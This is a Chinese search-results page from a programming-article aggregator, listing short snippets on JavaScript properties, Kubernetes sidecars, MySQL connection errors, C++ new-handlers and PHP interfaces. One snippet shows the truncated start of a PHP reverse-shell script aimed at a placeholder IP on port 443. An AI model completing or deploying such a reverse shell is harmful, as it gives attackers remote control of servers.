码迷,mamicode.com
首页 >  
搜索关键字:eclipse new server    ( 157400个结果
高级属性的定义
普通属性直接赋值,高级属性可以根据你的业务需要进行赋值, /* 定义高级属性 */ const user = { _age: 0 } //这种方式定义的age无法存储数,只是对某个变量成员的代理,加入get和set的目是让你的属性具有 //了行为,也就是我们可以再访问或者是设置属性的时候,添加更多的 ...
分类:其他好文   时间:2021-07-05 19:07:14    阅读次数:0
检测configMap,重载Pod内的业务容器
Usage: 使用sidecar模式,跟业务进程运行在同一个Pod内,检测到configMap更新后,会自动触发Hook - name: prometheus-server-configmap-reload image: 'jimmidyson/configmap-reload:v0.3.0' ar ...
分类:其他好文   时间:2021-07-05 19:01:41    阅读次数:0
PHP反弹脚本 Linux/Windows两用
<?php error_reporting (E_ERROR); ignore_user_abort(true); ini_set('max_execution_time',0); $ipaddr = 'xxx.xxx.xxx.xxx'; $port = '443'; $msg = php_unam ...
分类:Windows程序   时间:2021-07-05 19:00:38    阅读次数:0
排序比较器的方法
使用lambda表达式 Collections.sort(List, (a,b) -> x1 - x2); 自定义Comparator方法 Collections.sort(List, new Comparator<E>(){ public int compare(int a, int b){ re ...
分类:编程语言   时间:2021-07-05 18:56:31    阅读次数:0
php 接口实例
接口定义 interface 关键字定义的类就叫接口 接口实例 <?php //接口定义 interface Human{ //跑步 public function run(); //跳远 public function jump(); } //接口实现 class Person implement ...
分类:Web程序   时间:2021-07-05 18:53:37    阅读次数:0
IDEA搭建一个SpringBoot项目——十分详细(web+mysql)
本博客记录了IDEA中使用Springboot框架搭建一个web+mysql项目的详细过程,适合springboot初学者学习。 ...
分类:数据库   时间:2021-07-05 18:53:16    阅读次数:0
Mysql连接报错 Can't connect to MySQL server on 'ip' (10060)
在购买服务器且安装了Mysql之后,并且安全组和防火墙都开放了端口,但是还是无法连接 原因就是mysql设置的就是只有本机可以连接 解决办法 # 1. 登录服务器,在服务器上登录mysql # 2. 使用user这个库 use user; # 3. 查看root账户 select host,user ...
分类:数据库   时间:2021-07-05 18:40:36    阅读次数:0
Effective C++ 条款49:了解new-handler的行为
new失败了会发生什么 当用new来申请一块内存的时候,如果申请失败了,编译器会抛出一个异常(新式)或者返回一个null(旧式)。 在抛出异常或者返回null之前,编译器会先调用一个new_handler的方法,可以理解为错误处理函数。 namespace std { typedef void (* ...
分类:编程语言   时间:2021-07-05 18:19:54    阅读次数:0
k8s资源sidecar
sidecar 模式 共享 网络 mount utc 不共享 ipc pid user apiVersion: v1 kind: Pod metadata: name: test-sidecar namespace: default spec: hostname: test-sidecar # 主机 ...
分类:其他好文   时间:2021-07-05 18:17:37    阅读次数:0
Centos 下启动mysql 报错: Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (111)解决方法
1、启动服务 systemctl restart mysqld.service 报错: 启动数据库Can‘t connect to MYSQL server through socket ''var/lib/mysql/mysql.cock(146 lock timed out:Retry tran ...
分类:数据库   时间:2021-07-05 17:35:04    阅读次数:0
157400条   上一页 1 2 3 4 5 6 ... 15740 下一页
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!